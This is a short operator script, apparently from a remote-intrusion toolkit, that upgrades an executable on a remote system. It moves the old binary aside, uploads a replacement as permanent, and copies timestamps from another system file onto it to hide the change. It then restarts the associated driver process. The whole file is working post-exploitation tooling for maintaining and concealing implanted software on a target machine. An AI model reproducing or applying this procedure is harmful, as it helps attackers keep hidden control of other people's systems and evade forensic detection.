#-------------------------------------------------------------------------------
# File: Level4UpgradeExe.eps
# Description: Performs a level4 upgrade for the exe version
#
# Modifications:
#	08/07/03	Created
#-------------------------------------------------------------------------------

@echo off;
@include "_GetSystemPaths.epm";

string $driver = "pdresy";

if ($argc != 5) {
    echo "Usage: $argv[0] <localFile> <remoteName> <tempOldName> <matchFile>";
    return false;
}

string $localFile = $argv[1];
string $remoteName = $argv[2];
string $tempOldName = $argv[3];
string $matchFile = $argv[4];

string $system;
string $root;
ifnot (_GetSystemPaths($root, $system)) {
    echo "* Unable to get system directory";
    return false;
}

# move old exe
echo "Moving old exe to temp name";
if (`move "$root\\$system\\$remoteName" "$root\\$system\\$tempOldName"`) {
    echo "    MOVED";
} else {
    echo "    FAILED";
    return false;
}

# upload new exe
echo "Uploading new exe";
if (`put "$localFile" -name "$root\\$system\\$remoteName" -permanent`) {
    echo "    UPLOADED";
} else {
    echo "    FAILED";
    return false;
}

# match file times for new exe
echo "Matching file time for EXE";
if (`matchtimes "$root\\$system\\$matchFile" "$root\\$system\\$remoteName"`) {
    echo "    SUCCESS";
} else {
    echo "    FAILED (but continuing anyway)";
}

@record on;
bool $started = false;
echo "Getting old process id";
if (`dp_getprocessid -name $driver`) {
    int $id = GetCmdData("id");
    if (defined($id) && ($id != 0)) {
	echo "    SUCCESS (id = $id)";
	
	# clear the old process
	`dp_clearprocessid -name $driver`;
	
	# start the new process
	echo "Starting new exe";
	if (`dp_restartprocess -name $driver`) {
	    echo "    SUCCESS";
	    $started = true;
	} else {
	    echo "    FAILED";
	}	    
    } else {
	echo "    FAILED (Unable to determine old process id)";
    }
} else {
    echo "    FAILED (unable to get old process id)";
}

echo "";
if ($started) {
    echo "New exe is started.";
    echo "";
    echo "Verify new PC is running correctly";
    echo "    and then *** terminate and delete old one by hand ***";
    return true;
} else {
    echo "New exe is NOT running -- cleanup must be done by hand";
    return false;
}